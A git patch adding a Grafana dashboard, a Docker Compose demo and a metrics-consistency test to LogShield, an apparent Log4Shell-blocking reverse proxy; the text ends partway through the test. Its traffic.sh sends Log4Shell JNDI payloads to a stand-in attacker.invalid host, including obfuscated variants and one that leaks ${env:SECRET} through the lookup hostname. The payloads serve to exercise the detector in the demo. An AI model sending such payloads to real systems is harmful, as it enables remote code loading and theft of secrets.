From 0f31619551541d1416ae97a7ca87ccb47068708e Mon Sep 17 00:00:00 2001 From: Pranav Verma Date: Sat, 17 Oct 2026 16:21:33 +0000 Subject: [PATCH 1/5] Add a Grafana dashboard and a one-command demo A dashboard on the documented metrics, a Docker Compose demo with Prometheus, Grafana and a traffic generator, and a test that fails if the dashboard queries a metric that /metrics does not expose. --- CHANGELOG.md | 1 + README.md | 1 + docs/observability.md | 3 + examples/grafana/README.md | 49 + examples/grafana/demo/docker-compose.yml | 56 + .../provisioning/dashboards/logshield.yml | 7 + .../provisioning/datasources/prometheus.yml | 8 + examples/grafana/demo/prometheus.yml | 6 + examples/grafana/demo/traffic.sh | 22 + examples/grafana/logshield-dashboard.json | 1111 +++++++++++++++++ internal/telemetry/docs_test.go | 60 + 11 files changed, 1324 insertions(+) create mode 100644 examples/grafana/README.md create mode 100644 examples/grafana/demo/docker-compose.yml create mode 100644 examples/grafana/demo/grafana/provisioning/dashboards/logshield.yml create mode 100644 examples/grafana/demo/grafana/provisioning/datasources/prometheus.yml create mode 100644 examples/grafana/demo/prometheus.yml create mode 100755 examples/grafana/demo/traffic.sh create mode 100644 examples/grafana/logshield-dashboard.json diff --git a/CHANGELOG.md b/CHANGELOG.md index 017bdb6..1976323 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ follow [Semantic Versioning](https://semver.org/) from the first tagged release. ## [Unreleased] ### Added +- `examples/grafana`: a Grafana dashboard for the documented metrics, a one-command Docker Compose demo (LogShield, Prometheus, Grafana and a traffic generator), and a test that fails if the dashboard queries a metric that is not exposed. - `logshield check`: explain what the engine thinks of one payload (verdict, rules, decoding path, CVEs) without a proxy or a network. Defanged output, `-json`, script-friendly exit codes (0 clean, 3 suspicious, 4 malicious). - `GOVERNANCE.md`, and a documented advisory and CVE process in `SECURITY.md`. - Log-event schema in `docs/observability.md`, and tests that fail when a metric or a log field is added, renamed or retyped without being documented. diff --git a/README.md b/README.md index 9c7c6e5..a345a90 100644 --- a/README.md +++ b/README.md @@ -367,6 +367,7 @@ test against systems you do not own or have written authorization to test. | Assurance: Scorecard, Best Practices, SLSA and SSDF self-assessment | [docs/assurance.md](docs/assurance.md) | | Load and latency report | [docs/load-report.md](docs/load-report.md) | | Metrics, health checks, overload, Prometheus and Sigma rules | [docs/observability.md](docs/observability.md) | +| Grafana dashboard and a one-command demo | [examples/grafana](examples/grafana/README.md) | | Roadmap and changelog | [docs/ROADMAP.md](docs/ROADMAP.md), [CHANGELOG.md](CHANGELOG.md) | | Project governance, security policy, support | [GOVERNANCE.md](GOVERNANCE.md), [SECURITY.md](SECURITY.md), [SUPPORT.md](SUPPORT.md) | diff --git a/docs/observability.md b/docs/observability.md index 63d2fef..16b2389 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -62,6 +62,9 @@ suspicious or would-block request that was forwarded), `request failed`, or | `detections` | Up to 8 findings, each with `rule`, `severity`, `location`, `scheme`, `evidence` and `decoded_via` (the decoding layers that revealed it). | | `detections_omitted` | How many further findings were not listed. | +A ready-made Grafana dashboard, and a one-command demo that fills it with traffic, +are in [examples/grafana](../examples/grafana/README.md). + Suggested alerts: - `increase(logshield_inspection_errors_total[5m]) > 0` (a bug; report it). diff --git a/examples/grafana/README.md b/examples/grafana/README.md new file mode 100644 index 0000000..fec451d --- /dev/null +++ b/examples/grafana/README.md @@ -0,0 +1,49 @@ +# Grafana dashboard + +A ready-made Grafana dashboard for LogShield, built only on the metrics +documented in [docs/observability.md](../../docs/observability.md). A test fails +if the dashboard ever queries a metric LogShield does not expose. + +It answers, top to bottom: is it working (requests, blocks, engine errors, +failed-open, p99 inspection time), what is happening to traffic (outcomes and +engine verdicts), what is it catching (detections per rule, exhausted budgets, +rejections, concurrency), and how fast it is (engine time and total request time, +with the project's 5 ms target drawn on the chart). + +## See it in one command + +The `demo/` directory runs LogShield, a plain nginx page behind it, Prometheus, +Grafana and a traffic generator that sends normal requests and attack-shaped +ones. Everything listens on `127.0.0.1` only; the attack payloads use reserved +`.invalid` hosts and the page behind LogShield is not vulnerable, so nothing is +at risk. + +```sh +cd examples/grafana/demo +docker compose up +``` + +Open ; the LogShield dashboard is the home page. Give it +about a minute for the graphs to fill. Stop with `Ctrl+C`, then +`docker compose down`. + +To try the monitor-mode workflow, set `LOGSHIELD_MODE: monitor` in +`demo/docker-compose.yml`: the "Would be blocked / s" panel then shows what block +mode would have stopped, which is the number to watch before you enforce. + +## Use it with your own LogShield + +1. Run LogShield with `-admin-listen` on an address Prometheus can reach (keep it + off public interfaces) and scrape `/metrics` from it. +2. In Grafana: Dashboards, New, Import, upload `logshield-dashboard.json`, and + choose your Prometheus data source. +3. Pick the Prometheus `job` that scrapes LogShield in the Job drop-down (it + defaults to all jobs that expose `logshield_build_info`). + +Panels draw `rate()` over Grafana's `$__rate_interval`, so the scrape interval +does not need to be set by hand. Pair it with the alert rules in +[`../prometheus/logshield.rules.yml`](../prometheus/logshield.rules.yml). + +The dashboard needs Grafana 10 or newer. It was written against the metric +schema of LogShield 0.1.x; metric names are part of the public surface and +follow the stability rule in [docs/releasing.md](../../docs/releasing.md). diff --git a/examples/grafana/demo/docker-compose.yml b/examples/grafana/demo/docker-compose.yml new file mode 100644 index 0000000..85ddc53 --- /dev/null +++ b/examples/grafana/demo/docker-compose.yml @@ -0,0 +1,56 @@ +# One-command demo: LogShield in front of a web server, with Prometheus, +# Grafana and a generator that sends normal and attack-shaped requests. +# +# docker compose up +# open http://127.0.0.1:3000 (Dashboards > LogShield) +# +# Everything listens on 127.0.0.1 only. The attack payloads point at reserved +# ".invalid" names and the "upstream" is a plain nginx page, so there is nothing +# vulnerable here and nothing can connect out. This is a demo, not a deployment +# recipe: for real use pin images by digest (docs/deployment.md). +name: logshield-demo + +services: + upstream: + image: nginx:1.27-alpine + + logshield: + image: ghcr.io/turlafsb/logshield:v0.1.0 + environment: + LOGSHIELD_UPSTREAM: http://upstream:80 + LOGSHIELD_MODE: block # use "monitor" to watch the "would be blocked" panel instead + LOGSHIELD_ADMIN_LISTEN: 0.0.0.0:9090 + ports: + - "127.0.0.1:8080:8080" # the protected entry point: try curl here yourself + depends_on: [upstream] + + prometheus: + image: prom/prometheus:v2.55.1 + command: ["--config.file=/etc/prometheus/prometheus.yml", "--storage.tsdb.retention.time=2h"] + volumes: + - ./prometheus.yml:/etc/prometheus/prometheus.yml:ro + depends_on: [logshield] + + grafana: + image: grafana/grafana:11.3.0 + environment: + GF_AUTH_ANONYMOUS_ENABLED: "true" + GF_AUTH_ANONYMOUS_ORG_ROLE: Admin + GF_AUTH_DISABLE_LOGIN_FORM: "true" + GF_USERS_DEFAULT_THEME: dark + GF_DASHBOARDS_DEFAULT_HOME_DASHBOARD_PATH: /var/lib/grafana/dashboards/logshield-dashboard.json + volumes: + - ./grafana/provisioning:/etc/grafana/provisioning:ro + - ../logshield-dashboard.json:/var/lib/grafana/dashboards/logshield-dashboard.json:ro + ports: + - "127.0.0.1:3000:3000" + depends_on: [prometheus] + + traffic: + image: curlimages/curl:8.11.0 + entrypoint: ["/bin/sh", "/traffic.sh"] + environment: + TARGET: http://logshield:8080 + volumes: + - ./traffic.sh:/traffic.sh:ro + depends_on: [logshield] diff --git a/examples/grafana/demo/grafana/provisioning/dashboards/logshield.yml b/examples/grafana/demo/grafana/provisioning/dashboards/logshield.yml new file mode 100644 index 0000000..eac89ac --- /dev/null +++ b/examples/grafana/demo/grafana/provisioning/dashboards/logshield.yml @@ -0,0 +1,7 @@ +apiVersion: 1 +providers: + - name: logshield + type: file + allowUiUpdates: false + options: + path: /var/lib/grafana/dashboards diff --git a/examples/grafana/demo/grafana/provisioning/datasources/prometheus.yml b/examples/grafana/demo/grafana/provisioning/datasources/prometheus.yml new file mode 100644 index 0000000..2387b2f --- /dev/null +++ b/examples/grafana/demo/grafana/provisioning/datasources/prometheus.yml @@ -0,0 +1,8 @@ +apiVersion: 1 +datasources: + - name: Prometheus + uid: prometheus + type: prometheus + access: proxy + url: http://prometheus:9090 + isDefault: true diff --git a/examples/grafana/demo/prometheus.yml b/examples/grafana/demo/prometheus.yml new file mode 100644 index 0000000..a52c665 --- /dev/null +++ b/examples/grafana/demo/prometheus.yml @@ -0,0 +1,6 @@ +global: + scrape_interval: 5s +scrape_configs: + - job_name: logshield + static_configs: + - targets: ["logshield:9090"] diff --git a/examples/grafana/demo/traffic.sh b/examples/grafana/demo/traffic.sh new file mode 100755 index 0000000..9da34f1 --- /dev/null +++ b/examples/grafana/demo/traffic.sh @@ -0,0 +1,22 @@ +#!/bin/sh +# Sends a steady mix of normal and attack-shaped requests through LogShield so +# the dashboard has something to show. Every attack host is a reserved ".invalid" +# name, so nothing can connect anywhere. +TARGET="${TARGET:-http://logshield:8080}" +i=0 +while true; do + i=$((i + 1)) + # Normal traffic. + curl -s -o /dev/null "$TARGET/?page=$i" -H 'User-Agent: Mozilla/5.0 (demo)' + curl -s -o /dev/null "$TARGET/search?q=hello+world" + curl -s -o /dev/null -X POST "$TARGET/login" -d 'user=alice¬e=correct+horse+battery' + + # Attacks, at different rates so each rule shows up. + [ $((i % 2)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'User-Agent: ${jndi:ldap://attacker.invalid/a}' + [ $((i % 3)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'X-Api-Version: ${${lower:j}ndi:ldap://attacker.invalid/a}' + [ $((i % 4)) -eq 0 ] && curl -s -o /dev/null "$TARGET/?q=%24%7Bjndi:ldap://attacker.invalid/a%7D" + [ $((i % 5)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'Referer: ${env:HOME}' + [ $((i % 7)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'User-Agent: ${jndi:ldap://${env:SECRET}.attacker.invalid/a}' + [ $((i % 11)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'User-Agent: ${jndi:ldap://127.0.0.1#attacker.invalid/a}' + sleep 0.3 +done diff --git a/examples/grafana/logshield-dashboard.json b/examples/grafana/logshield-dashboard.json new file mode 100644 index 0000000..2b4425d --- /dev/null +++ b/examples/grafana/logshield-dashboard.json @@ -0,0 +1,1111 @@ +{ + "__requires": [ + { + "type": "grafana", + "id": "grafana", + "name": "Grafana", + "version": "10.0.0" + }, + { + "type": "datasource", + "id": "prometheus", + "name": "Prometheus", + "version": "1.0.0" + } + ], + "annotations": { + "list": [] + }, + "description": "LogShield, the Log4Shell virtual-patch reverse proxy: traffic, blocks, detections and latency. Needs -admin-listen and a Prometheus scrape of /metrics (see docs/observability.md).", + "editable": true, + "graphTooltip": 1, + "id": null, + "links": [ + { + "title": "LogShield on GitHub", + "type": "link", + "url": "https://github.com/TurlaFSB/logshield", + "targetBlank": true + } + ], + "panels": [ + { + "id": 1, + "type": "row", + "title": "Is it working?", + "collapsed": false, + "gridPos": { + "x": 0, + "y": 0, + "w": 24, + "h": 1 + }, + "panels": [] + }, + { + "id": 2, + "type": "stat", + "title": "Requests / s", + "description": "All requests LogShield handled.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 0, + "y": 1, + "w": 4, + "h": 4 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "sum(rate(logshield_requests_total{job=~\"$job\"}[$__rate_interval]))", + "legendFormat": "", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "reqps", + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + }, + "color": { + "mode": "thresholds" + }, + "decimals": 1 + }, + "overrides": [] + }, + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "area", + "textMode": "auto" + } + }, + { + "id": 3, + "type": "stat", + "title": "Blocked / s", + "description": "Requests answered 403 (block mode).", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 4, + "y": 1, + "w": 4, + "h": 4 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "(sum(rate(logshield_requests_total{job=~\"$job\",action=\"blocked\"}[$__rate_interval]))) or vector(0)", + "legendFormat": "", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "reqps", + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + }, + "color": { + "mode": "thresholds" + }, + "decimals": 2 + }, + "overrides": [] + }, + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "area", + "textMode": "auto" + } + }, + { + "id": 4, + "type": "stat", + "title": "Would be blocked / s (monitor)", + "description": "What block mode would stop. Watch this in monitor mode before you switch to block.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 8, + "y": 1, + "w": 4, + "h": 4 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "(sum(rate(logshield_monitor_would_block_total{job=~\"$job\"}[$__rate_interval]))) or vector(0)", + "legendFormat": "", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "reqps", + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "orange", + "value": 0.0001 + } + ] + }, + "color": { + "mode": "thresholds" + }, + "decimals": 2 + }, + "overrides": [] + }, + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "area", + "textMode": "auto" + } + }, + { + "id": 5, + "type": "stat", + "title": "Engine errors (1 h)", + "description": "Engine failures. These are bugs and should stay at 0; please report one.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 12, + "y": 1, + "w": 4, + "h": 4 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "(sum(increase(logshield_inspection_errors_total{job=~\"$job\"}[1h]))) or vector(0)", + "legendFormat": "", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "short", + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 1 + } + ] + }, + "color": { + "mode": "thresholds" + }, + "decimals": 0 + }, + "overrides": [] + }, + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "area", + "textMode": "auto" + } + }, + { + "id": 6, + "type": "stat", + "title": "Failed open (1 h)", + "description": "Requests forwarded without inspection because of -on-error open. Should be 0.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 16, + "y": 1, + "w": 4, + "h": 4 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "(sum(increase(logshield_failed_open_total{job=~\"$job\"}[1h]))) or vector(0)", + "legendFormat": "", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "short", + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 1 + } + ] + }, + "color": { + "mode": "thresholds" + }, + "decimals": 0 + }, + "overrides": [] + }, + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "area", + "textMode": "auto" + } + }, + { + "id": 7, + "type": "stat", + "title": "p99 inspection time", + "description": "99th percentile engine time per request. The project target is 5 ms.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 20, + "y": 1, + "w": 4, + "h": 4 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "histogram_quantile(0.99, sum by (le) (rate(logshield_inspection_duration_seconds_bucket{job=~\"$job\"}[$__rate_interval])))", + "legendFormat": "", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "s", + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 0.005 + } + ] + }, + "color": { + "mode": "thresholds" + }, + "decimals": 3 + }, + "overrides": [] + }, + "options": { + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "colorMode": "value", + "graphMode": "area", + "textMode": "auto" + } + }, + { + "id": 8, + "type": "row", + "title": "Traffic and decisions", + "collapsed": false, + "gridPos": { + "x": 0, + "y": 5, + "w": 24, + "h": 1 + }, + "panels": [] + }, + { + "id": 9, + "type": "timeseries", + "title": "Requests by outcome", + "description": "forwarded = sent to the app, blocked = 403, rejected = refused before a verdict (for example overload), error = inspection failed.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 0, + "y": 6, + "w": 12, + "h": 8 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "sum by (action) (rate(logshield_requests_total{job=~\"$job\"}[$__rate_interval]))", + "legendFormat": "{{action}}", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "reqps", + "custom": { + "drawStyle": "line", + "lineWidth": 1, + "fillOpacity": 40, + "showPoints": "never", + "spanNulls": true, + "stacking": { + "mode": "normal", + "group": "A" + } + }, + "color": { + "mode": "palette-classic" + } + }, + "overrides": [] + }, + "options": { + "legend": { + "displayMode": "table", + "placement": "bottom", + "calcs": [ + "mean", + "max" + ] + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + } + }, + { + "id": 10, + "type": "timeseries", + "title": "Requests by engine verdict", + "description": "The engine's decision for each request, whatever the mode then did with it.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 12, + "y": 6, + "w": 12, + "h": 8 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "sum by (decision) (rate(logshield_requests_total{job=~\"$job\"}[$__rate_interval]))", + "legendFormat": "{{decision}}", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "reqps", + "custom": { + "drawStyle": "line", + "lineWidth": 1, + "fillOpacity": 40, + "showPoints": "never", + "spanNulls": true, + "stacking": { + "mode": "normal", + "group": "A" + } + }, + "color": { + "mode": "palette-classic" + } + }, + "overrides": [] + }, + "options": { + "legend": { + "displayMode": "table", + "placement": "bottom", + "calcs": [ + "mean", + "max" + ] + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + } + }, + { + "id": 11, + "type": "row", + "title": "What it is catching", + "collapsed": false, + "gridPos": { + "x": 0, + "y": 14, + "w": 24, + "h": 1 + }, + "panels": [] + }, + { + "id": 12, + "type": "timeseries", + "title": "Detections by rule", + "description": "Which rules fire (LSH-1001 plain JNDI, LSH-1002 obfuscated, LSH-2002 other lookups, and so on). See docs/engine for the catalogue.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 0, + "y": 15, + "w": 12, + "h": 8 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "sum by (rule) (rate(logshield_rule_detections_total{job=~\"$job\"}[$__rate_interval]))", + "legendFormat": "{{rule}}", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "ops", + "custom": { + "drawStyle": "line", + "lineWidth": 1, + "fillOpacity": 40, + "showPoints": "never", + "spanNulls": true, + "stacking": { + "mode": "normal", + "group": "A" + } + }, + "color": { + "mode": "palette-classic" + } + }, + "overrides": [] + }, + "options": { + "legend": { + "displayMode": "table", + "placement": "bottom", + "calcs": [ + "mean", + "max" + ] + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + } + }, + { + "id": 13, + "type": "timeseries", + "title": "Resource budgets exhausted", + "description": "Requests that hit an engine limit and were treated as malicious. A spike suggests a resource-exhaustion attempt.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 12, + "y": 15, + "w": 12, + "h": 8 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "sum by (budget) (rate(logshield_budget_exhausted_total{job=~\"$job\"}[$__rate_interval]))", + "legendFormat": "{{budget}}", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "ops", + "custom": { + "drawStyle": "line", + "lineWidth": 1, + "fillOpacity": 40, + "showPoints": "never", + "spanNulls": true, + "stacking": { + "mode": "normal", + "group": "A" + } + }, + "color": { + "mode": "palette-classic" + } + }, + "overrides": [] + }, + "options": { + "legend": { + "displayMode": "table", + "placement": "bottom", + "calcs": [ + "mean", + "max" + ] + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + } + }, + { + "id": 14, + "type": "timeseries", + "title": "Rejections by reason", + "description": "Requests refused before or instead of a verdict: protocol-error, overloaded, body-too-large, guard-violation and others.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 0, + "y": 23, + "w": 12, + "h": 8 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "sum by (reason) (rate(logshield_rejections_total{job=~\"$job\"}[$__rate_interval]))", + "legendFormat": "{{reason}}", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "ops", + "custom": { + "drawStyle": "line", + "lineWidth": 1, + "fillOpacity": 40, + "showPoints": "never", + "spanNulls": true, + "stacking": { + "mode": "normal", + "group": "A" + } + }, + "color": { + "mode": "palette-classic" + } + }, + "overrides": [] + }, + "options": { + "legend": { + "displayMode": "table", + "placement": "bottom", + "calcs": [ + "mean", + "max" + ] + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + } + }, + { + "id": 15, + "type": "timeseries", + "title": "Requests in flight", + "description": "Current concurrency. If it nears -max-in-flight, new requests get 503.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 12, + "y": 23, + "w": 12, + "h": 8 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "sum(logshield_requests_in_flight{job=~\"$job\"})", + "legendFormat": "in flight", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "short", + "custom": { + "drawStyle": "line", + "lineWidth": 1, + "fillOpacity": 15, + "showPoints": "never", + "spanNulls": true + }, + "color": { + "mode": "palette-classic" + } + }, + "overrides": [] + }, + "options": { + "legend": { + "displayMode": "table", + "placement": "bottom", + "calcs": [ + "mean", + "max" + ] + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + } + }, + { + "id": 16, + "type": "row", + "title": "Latency", + "collapsed": false, + "gridPos": { + "x": 0, + "y": 31, + "w": 24, + "h": 1 + }, + "panels": [] + }, + { + "id": 17, + "type": "timeseries", + "title": "Engine inspection time", + "description": "Time the detection engine spent per request (p50, p95, p99). The dashed red line is the 5 ms project target.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 0, + "y": 32, + "w": 12, + "h": 8 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "histogram_quantile(0.5, sum by (le) (rate(logshield_inspection_duration_seconds_bucket{job=~\"$job\"}[$__rate_interval])))", + "legendFormat": "p50", + "refId": "A" + }, + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "histogram_quantile(0.95, sum by (le) (rate(logshield_inspection_duration_seconds_bucket{job=~\"$job\"}[$__rate_interval])))", + "legendFormat": "p95", + "refId": "B" + }, + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "histogram_quantile(0.99, sum by (le) (rate(logshield_inspection_duration_seconds_bucket{job=~\"$job\"}[$__rate_interval])))", + "legendFormat": "p99", + "refId": "C" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "s", + "custom": { + "drawStyle": "line", + "lineWidth": 1, + "fillOpacity": 15, + "showPoints": "never", + "spanNulls": true, + "thresholdsStyle": { + "mode": "line" + } + }, + "color": { + "mode": "palette-classic" + }, + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 0.005 + } + ] + } + }, + "overrides": [] + }, + "options": { + "legend": { + "displayMode": "table", + "placement": "bottom", + "calcs": [ + "mean", + "max" + ] + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + } + }, + { + "id": 18, + "type": "timeseries", + "title": "Total request time", + "description": "Whole request including the protected app (p50, p95, p99). This is mostly the app's own speed.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 12, + "y": 32, + "w": 12, + "h": 8 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "histogram_quantile(0.5, sum by (le) (rate(logshield_request_duration_seconds_bucket{job=~\"$job\"}[$__rate_interval])))", + "legendFormat": "p50", + "refId": "A" + }, + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "histogram_quantile(0.95, sum by (le) (rate(logshield_request_duration_seconds_bucket{job=~\"$job\"}[$__rate_interval])))", + "legendFormat": "p95", + "refId": "B" + }, + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "histogram_quantile(0.99, sum by (le) (rate(logshield_request_duration_seconds_bucket{job=~\"$job\"}[$__rate_interval])))", + "legendFormat": "p99", + "refId": "C" + } + ], + "fieldConfig": { + "defaults": { + "noValue": "0", + "unit": "s", + "custom": { + "drawStyle": "line", + "lineWidth": 1, + "fillOpacity": 15, + "showPoints": "never", + "spanNulls": true + }, + "color": { + "mode": "palette-classic" + } + }, + "overrides": [] + }, + "options": { + "legend": { + "displayMode": "table", + "placement": "bottom", + "calcs": [ + "mean", + "max" + ] + }, + "tooltip": { + "mode": "multi", + "sort": "desc" + } + } + }, + { + "id": 19, + "type": "row", + "title": "Instances", + "collapsed": false, + "gridPos": { + "x": 0, + "y": 40, + "w": 24, + "h": 1 + }, + "panels": [] + }, + { + "id": 20, + "type": "table", + "title": "Running versions", + "description": "One row per LogShield instance and the version it reports.", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "gridPos": { + "x": 0, + "y": 41, + "w": 24, + "h": 5 + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "expr": "max by (job, instance, version) (logshield_build_info{job=~\"$job\"})", + "legendFormat": "", + "refId": "A", + "instant": true, + "range": false, + "format": "table" + } + ], + "fieldConfig": { + "defaults": {}, + "overrides": [] + }, + "options": { + "showHeader": true + }, + "transformations": [ + { + "id": "organize", + "options": { + "excludeByName": { + "Time": true, + "Value": true + }, + "indexByName": { + "job": 0, + "instance": 1, + "version": 2 + } + } + } + ] + } + ], + "refresh": "30s", + "schemaVersion": 39, + "tags": [ + "logshield", + "log4shell", + "security" + ], + "templating": { + "list": [ + { + "name": "datasource", + "label": "Data source", + "type": "datasource", + "query": "prometheus", + "current": {}, + "hide": 0, + "refresh": 1 + }, + { + "name": "job", + "label": "Job", + "type": "query", + "datasource": { + "type": "prometheus", + "uid": "${datasource}" + }, + "query": { + "query": "label_values(logshield_build_info, job)", + "refId": "job" + }, + "definition": "label_values(logshield_build_info, job)", + "refresh": 2, + "includeAll": true, + "multi": true, + "allValue": ".+", + "current": { + "selected": true, + "text": "All", + "value": "$__all" + }, + "sort": 1 + } + ] + }, + "time": { + "from": "now-6h", + "to": "now" + }, + "timepicker": {}, + "timezone": "browser", + "title": "LogShield", + "uid": "logshield-overview", + "version": 1, + "weekStart": "" +} diff --git a/internal/telemetry/docs_test.go b/internal/telemetry/docs_test.go index 02e2fac..f34fee4 100644 --- a/internal/telemetry/docs_test.go +++ b/internal/telemetry/docs_test.go @@ -2,8 +2,10 @@ package telemetry import ( "bytes" + "encoding/json" "os" "regexp" + "strings" "testing" ) @@ -49,3 +51,61 @@ func TestMetricsMatchDocumentation(t *testing.T) { } } } + +// TestGrafanaDashboardUsesRealMetrics keeps the example dashboard in step with +// the metrics. A renamed or removed metric would otherwise leave an empty panel +// that nobody notices until an incident. +func TestGrafanaDashboardUsesRealMetrics(t *testing.T) { + raw, err := os.ReadFile("../../examples/grafana/logshield-dashboard.json") + if err != nil { + t.Fatal(err) + } + var dash struct { + Title string `json:"title"` + UID string `json:"uid"` + Panels []struct { + ID int `json:"id"` + Type string `json:"type"` + Title string `json:"title"` + Targets []struct { + Expr string `json:"expr"` + } `json:"targets"` + } `json:"panels"` + } + if err := json.Unmarshal(raw, &dash); err != nil { + t.Fatalf("dashboard is not valid JSON: %v", err) + } + if dash.Title == "" || dash.UID == "" || len(dash.Panels) == 0 { + t.Fatalf("dashboard lacks a title, uid or panels: %+v", dash) + } + + var out bytes.Buffer + if _, err := New("test").WriteTo(&out); err != nil { + t.Fatal(err) + } + exposed := map[string]bool{} + for _, m := range regexp.MustCompile(`(?m)^# TYPE (logshield_\w+) `).FindAllStringSubmatch(out.String(), -1) { + exposed[m[1]] = true + } + + ids := map[int]bool{} + used := map[string]bool{} + for _, p := range dash.Panels { + if ids[p.ID] { + t.Errorf("panel id %d is used twice", p.ID) + } + ids[p.ID] = true + for _, tg := range p.Targets { + for _, name := range regexp.MustCompile(`logshield_\w+`).FindAllString(tg.Expr, -1) { + base := strings.TrimSuffix(strings.TrimSuffix(strings.TrimSuffix(name, "_bucket"), "_sum"), "_count") + used[base] = true + if !exposed[base] { + t.Errorf("panel %q queries %s, which 